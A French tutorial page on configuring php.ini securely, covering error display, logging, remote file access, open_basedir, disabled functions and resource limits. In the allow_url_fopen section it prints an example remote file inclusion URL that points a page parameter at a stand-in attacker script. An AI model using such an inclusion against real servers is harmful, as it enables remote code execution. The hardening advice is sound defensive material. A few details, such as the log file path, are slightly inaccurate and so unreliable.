|
Il y a actuellement 8 visiteurs connectés sur le site !
Le fichier php.ini
Introduction
Le fichier php.ini est le fichier qui permet de configurer PHP. Il se trouve généralement dans le répertoire /etc.
Il est divisé en plusieurs sections. Chacune des sections est identifiée par un nom et contient des variables relatives à ladite section. Chaque section possède la structure suivante :
[NomDeSection]
variable = "valeur"
...
variable_n = "valeur_n"
Le nom de la section est indiqué entre crochets, suivi d’un certain nombre de déclarations de variables – encore appelées directives – sous forme de paires constituées du nom de la variable (sensible à la casse) et de la valeur qui lui est associée (numérique, booléenne ou chaîne de caractères). Notez que chaque déclaration de variable se fait sur une nouvelle ligne.
Enfin, le caractère " ; " signale un commentaire. Ainsi, il est facile de désactiver une fonctionnalité PHP en mettant en commentaire la ligne qui lui est associée (et réciproquement de la réactiver en la dé-commentant).
Voyons maintenant quelles sont les fonctionnalités que l’on va pouvoir modifier.
Criteres
expose_php :
Cette directive indique à PHP d’ajouter son numéro de version à l’en-tête standard du serveur web. Il est recommandé de désactiver cette directive en production (valeur Off) : les informations données peuvent servir à d’éventuels pirates si vous ne mettez pas régulièrement à jour votre serveur.
display_errors :
Cette directive autorise l’affichage des erreurs PHP : en production, elle doit être positionnée sur Off (sous peine de fournir de précieuses informations à un éventuel pirate comme le nom de vos tables, etc.) et, bien sûr, en développement, il faudra lui associer la valeur On.
error_reporting :
Indique les types des erreurs que PHP devra reporter. Lorsque l’on choisit de les afficher, il est recommandé d’afficher un maximum de messages d’erreurs. Les valeurs recommandées pour PHP5 sont E_ALL | E_STRICT et E_ALL pour PHP4.
log_errors :
Indique à PHP de conserver une liste des erreurs rencontrées dans un fichier de log. Il est utile d’activer cette directive même en production pour un suivi des erreurs sans affichage direct.
error_log :
Si la directive log_errors a été positionnée à On, la directive error_log permet de spécifier le nom et le chemin du fichier de log que vous désirez utiliser. Sinon le fichier par défaut sera le fichier error.log de votre Apache (/var/log/apache2/error.inc sur les distributions basées sur Debian).
html_errors :
Active ou désactive les balises HTML dans les messages d’erreurs : si vous avez choisi de ne pas afficher les erreurs (display_errors à Off), cette directive est inutile. Par contre, en développement, en renseignant les directives docref_root et docref_ext, vous pourrez avoir directement des liens vers la documentation de la fonction ayant provoqué l’erreur.
docref_root :
Cette directive définit le chemin vers le manuel PHP. En général, il s’agira de : docref_root = http://fr.php.net/manual/fr/.
allow_url_fopen :
Cette directive autorise l’exécution de fichiers distants passés en paramètre d’une URL. Il est recommandé de la désactiver (valeur Off) : un pirate pourrait faire exécuter un code externe. Si vous disposez d’une page index.php qui attend un paramètre load, un pirate pourrait exécuter :
index.php?load=http://www.the-hacker.com/script_pirate.txt
open_basedir :
Cette directive limite les fichiers accessibles par PHP dans l’arborescence. Le paramètre passé à open_basedir est considéré comme un préfixe : si vous spécifiez open_basedir = /include/mon_rep, vous donnerez accès à /include/mon_rep, /include/mon_repertoire,... Pour déterminer un répertoire spécifique, il faudra terminer le nom du chemin par un " / ".
disable_functions et disable_classes :
Ces directives permettent d’interdire respectivement une liste de fonctions et une liste de classes " dangereuses ". Pour interdire par exemple l’utilisation des fonctions phpinfo() et system(), il faudra spécifier : disable_functions = phpinfo, system.
memory_limit :
Cette directive détermine la mémoire limite, en octets, qu’un script est autorisé à allouer. Depuis PHP 5.2.0, la valeur par défaut est fixée à 16M. Il s’agit d’une valeur raisonnable (on préconisait auparavant une valeur de 8M).
post_max_size :
Définit la taille maximale des données (en octets) reçues par la méthode POST (la directive memory_limit doit avoir une valeur supérieure à celle-ci, sinon post_max_size sera limité à la valeur de memory_limit). La valeur par défaut est de 8M. Il est peu probable que vous ayez besoin de plus de mémoire (vous pouvez même éventuellement descendre un peu cette valeur). Toutefois, lors de l’upload de fichiers, les données transitent via une méthode POST : assurez-vous alors que cette valeur est supérieure à celle de la directive upload_max_filesize.
max_execution_time :
Temps maximal d’exécution des scripts en secondes. Par défaut, la valeur est de 30s, mais n’oubliez pas qu’il est rare qu’un utilisateur patiente autant de temps... Cette directive permet surtout de sortir de boucles infinies en phase de développement. Un bon compromis semble être 15s.
PHPSecInfo
PHPSecInfo permet d'auditer votre serveur en examinant les valeurs que vous avez mis dans php.ini.
Le script se trouve ici script,
il suffit de le desarchiver à la racine de votre serveur web, et delancer votre navigateur sur le fichier index.php.
Les résultats sont exprimés en fonction d’un code couleur :
* vert : tout va bien ;
* jaune : mauvaise valeur de configuration possible ;
* rouge : mauvaise valeur de configuration (changement de valeur recommandé).
Sources de l'article
|